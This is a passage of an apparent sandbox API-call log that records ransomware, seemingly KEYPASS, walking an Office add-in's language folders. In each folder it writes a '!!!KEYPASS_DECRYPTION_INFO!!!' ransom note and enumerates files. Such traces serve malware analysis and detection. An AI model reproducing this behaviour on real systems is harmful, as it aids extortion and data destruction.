Power Query for Excel Integrated\\bin\\cs\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0245.910] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\cs\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0245.928] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\cs\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\cs\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4de48, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x66c [0245.932] GetFileType (hFile=0x66c) returned 0x1 [0245.932] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0245.932] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0245.932] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0245.932] WriteFile (in: hFile=0x66c, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x3a4, lpOverlapped=0x0) returned 1 [0245.933] WriteFile (in: hFile=0x66c, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x2a, lpOverlapped=0x0) returned 1 [0245.933] CloseHandle (hObject=0x66c) returned 1 [0245.934] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\cs\\*", lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0x2ef9a48 [0245.934] FindNextFileW (in: hFindFile=0x2ef9a48, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0245.934] FindNextFileW (in: hFindFile=0x2ef9a48, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0245.934] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\cs\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0245.934] FindNextFileW (in: hFindFile=0x2ef9a48, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0245.934] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\cs\\Microsoft.Data.SapClient.resources.dll") returned=".dll" [0245.934] FindNextFileW (in: hFindFile=0x2ef9a48, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0245.934] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\cs\\Microsoft.Mashup.Client.Excel.resources.dll") returned=".dll" [0245.934] FindNextFileW (in: hFindFile=0x2ef9a48, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0245.934] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\cs\\Microsoft.Mashup.Client.UI.resources.dll") returned=".dll" [0245.934] FindNextFileW (in: hFindFile=0x2ef9a48, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0245.934] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\cs\\Microsoft.Mashup.Client.Windows.resources.dll") returned=".dll" [0245.935] FindNextFileW (in: hFindFile=0x2ef9a48, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0245.935] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\cs\\Microsoft.Mashup.Document.resources.dll") returned=".dll" [0245.935] FindNextFileW (in: hFindFile=0x2ef9a48, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0245.935] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\cs\\Microsoft.Mashup.DocumentServices.resources.dll") returned=".dll" [0245.935] FindNextFileW (in: hFindFile=0x2ef9a48, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0245.935] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\cs\\Microsoft.Mashup.OAuth.resources.dll") returned=".dll" [0245.935] FindNextFileW (in: hFindFile=0x2ef9a48, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0245.935] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\cs\\Microsoft.Mashup.OleDbProvider.resources.dll") returned=".dll" [0245.935] FindNextFileW (in: hFindFile=0x2ef9a48, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0245.935] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\cs\\Microsoft.MashupEngine.resources.dll") returned=".dll" [0245.935] FindNextFileW (in: hFindFile=0x2ef9a48, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0 [0245.935] FindNextFileW (in: hFindFile=0x2e79dd8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0245.935] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0245.935] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x38bb4a0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0245.935] GetLastError () returned 0x3f0 [0245.935] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\cy\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\cy\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0245.935] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\cy\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0246.032] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\cy\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\cy\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4de48, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x660 [0246.034] GetFileType (hFile=0x660) returned 0x1 [0246.035] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0246.035] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0246.035] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0246.035] WriteFile (in: hFile=0x660, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x3a4, lpOverlapped=0x0) returned 1 [0246.038] WriteFile (in: hFile=0x660, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x2a, lpOverlapped=0x0) returned 1 [0246.038] CloseHandle (hObject=0x660) returned 1 [0246.038] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\cy\\*", lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0x2ef9388 [0246.038] FindNextFileW (in: hFindFile=0x2ef9388, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0246.038] FindNextFileW (in: hFindFile=0x2ef9388, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0246.038] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\cy\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0246.038] FindNextFileW (in: hFindFile=0x2ef9388, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0246.038] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\cy\\Microsoft.Mashup.Client.Excel.resources.dll") returned=".dll" [0246.038] FindNextFileW (in: hFindFile=0x2ef9388, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0246.038] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\cy\\Microsoft.Mashup.Client.UI.resources.dll") returned=".dll" [0246.038] FindNextFileW (in: hFindFile=0x2ef9388, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0246.038] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\cy\\Microsoft.Mashup.Client.Windows.resources.dll") returned=".dll" [0246.038] FindNextFileW (in: hFindFile=0x2ef9388, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0246.039] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\cy\\Microsoft.Mashup.Document.resources.dll") returned=".dll" [0246.039] FindNextFileW (in: hFindFile=0x2ef9388, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0246.039] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\cy\\Microsoft.Mashup.DocumentServices.resources.dll") returned=".dll" [0246.039] FindNextFileW (in: hFindFile=0x2ef9388, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0 [0246.039] FindNextFileW (in: hFindFile=0x2e79dd8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0246.039] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0246.039] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x38bb4a0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0246.039] GetLastError () returned 0x3f0 [0246.039] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\da\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\da\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0246.039] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\da\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0246.056] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\da\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\da\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4de48, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x670 [0246.058] GetFileType (hFile=0x670) returned 0x1 [0246.058] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0246.058] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0246.059] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0246.059] WriteFile (in: hFile=0x670, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x3a4, lpOverlapped=0x0) returned 1 [0246.060] WriteFile (in: hFile=0x670, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x2a, lpOverlapped=0x0) returned 1 [0246.060] CloseHandle (hObject=0x670) returned 1 [0246.060] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\da\\*", lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0x2ef9808 [0246.060] FindNextFileW (in: hFindFile=0x2ef9808, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0246.060] FindNextFileW (in: hFindFile=0x2ef9808, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0246.060] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\da\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0246.060] FindNextFileW (in: hFindFile=0x2ef9808, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0246.060] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\da\\Microsoft.Data.SapClient.resources.dll") returned=".dll" [0246.060] FindNextFileW (in: hFindFile=0x2ef9808, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0246.060] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\da\\Microsoft.Mashup.Client.Excel.resources.dll") returned=".dll" [0246.060] FindNextFileW (in: hFindFile=0x2ef9808, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0246.060] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\da\\Microsoft.Mashup.Client.UI.resources.dll") returned=".dll" [0246.060] FindNextFileW (in: hFindFile=0x2ef9808, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0246.060] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\da\\Microsoft.Mashup.Client.Windows.resources.dll") returned=".dll" [0246.061] FindNextFileW (in: hFindFile=0x2ef9808, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0246.061] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\da\\Microsoft.Mashup.Document.resources.dll") returned=".dll" [0246.061] FindNextFileW (in: hFindFile=0x2ef9808, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0246.061] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\da\\Microsoft.Mashup.DocumentServices.resources.dll") returned=".dll" [0246.061] FindNextFileW (in: hFindFile=0x2ef9808, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0246.061] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\da\\Microsoft.Mashup.OAuth.resources.dll") returned=".dll" [0246.061] FindNextFileW (in: hFindFile=0x2ef9808, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0246.061] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\da\\Microsoft.Mashup.OleDbProvider.resources.dll") returned=".dll" [0246.061] FindNextFileW (in: hFindFile=0x2ef9808, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0246.061] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\da\\Microsoft.MashupEngine.resources.dll") returned=".dll" [0246.061] FindNextFileW (in: hFindFile=0x2ef9808, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0 [0246.061] FindNextFileW (in: hFindFile=0x2e79dd8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0246.061] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0246.061] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x38bb4a0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0246.061] GetLastError () returned 0x3f0 [0246.061] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\de\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\de\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0246.061] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\de\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0246.084] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\de\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\de\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4de48, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x674 [0246.086] GetFileType (hFile=0x674) returned 0x1 [0246.087] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0246.087] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0246.087] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0246.087] WriteFile (in: hFile=0x674, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x3a4, lpOverlapped=0x0) returned 1 [0246.088] WriteFile (in: hFile=0x674, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x2a, lpOverlapped=0x0) returned 1 [0246.088] CloseHandle (hObject=0x674) returned 1 [0246.088] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\de\\*", lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0x2ef9748 [0246.088] FindNextFileW (in: hFindFile=0x2ef9748, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0246.088] FindNextFileW (in: hFindFile=0x2ef9748, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0246.088] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\de\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0246.088] FindNextFileW (in: hFindFile=0x2ef9748, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0246.088] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\de\\Microsoft.Data.SapClient.resources.dll") returned=".dll" [0246.088] FindNextFileW (in: hFindFile=0x2ef9748, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0246.088] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\de\\Microsoft.Mashup.Client.Excel.resources.dll") returned=".dll" [0246.088] FindNextFileW (in: hFindFile=0x2ef9748, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0246.088] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\de\\Microsoft.Mashup.Client.UI.resources.dll") returned=".dll" [0246.089] FindNextFileW (in: hFindFile=0x2ef9748, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0246.089] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\de\\Microsoft.Mashup.Client.Windows.resources.dll") returned=".dll" [0246.089] FindNextFileW (in: hFindFile=0x2ef9748, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0246.089] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\de\\Microsoft.Mashup.Document.resources.dll") returned=".dll" [0246.089] FindNextFileW (in: hFindFile=0x2ef9748, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0246.089] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\de\\Microsoft.Mashup.DocumentServices.resources.dll") returned=".dll" [0246.089] FindNextFileW (in: hFindFile=0x2ef9748, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0246.089] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\de\\Microsoft.Mashup.OAuth.resources.dll") returned=".dll" [0246.089] FindNextFileW (in: hFindFile=0x2ef9748, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0246.089] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\de\\Microsoft.Mashup.OleDbProvider.resources.dll") returned=".dll" [0246.089] FindNextFileW (in: hFindFile=0x2ef9748, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0246.089] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\de\\Microsoft.MashupEngine.resources.dll") returned=".dll" [0246.089] FindNextFileW (in: hFindFile=0x2ef9748, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0 [0246.089] FindNextFileW (in: hFindFile=0x2e79dd8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0246.089] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\DocumentFormat.OpenXml.dll") returned=".dll" [0246.089] FindNextFileW (in: hFindFile=0x2e79dd8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0246.089] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0246.089] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x38bb4a0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0246.089] GetLastError () returned 0x3f0 [0246.089] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\el\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\el\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0246.089] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\el\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0246.099] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\el\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\el\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4de48, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x678 [0246.101] GetFileType (hFile=0x678) returned 0x1 [0246.101] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0246.101] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0246.101] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0246.101] WriteFile (in: hFile=0x678, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x3a4, lpOverlapped=0x0) returned 1 [0246.102] WriteFile (in: hFile=0x678, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: 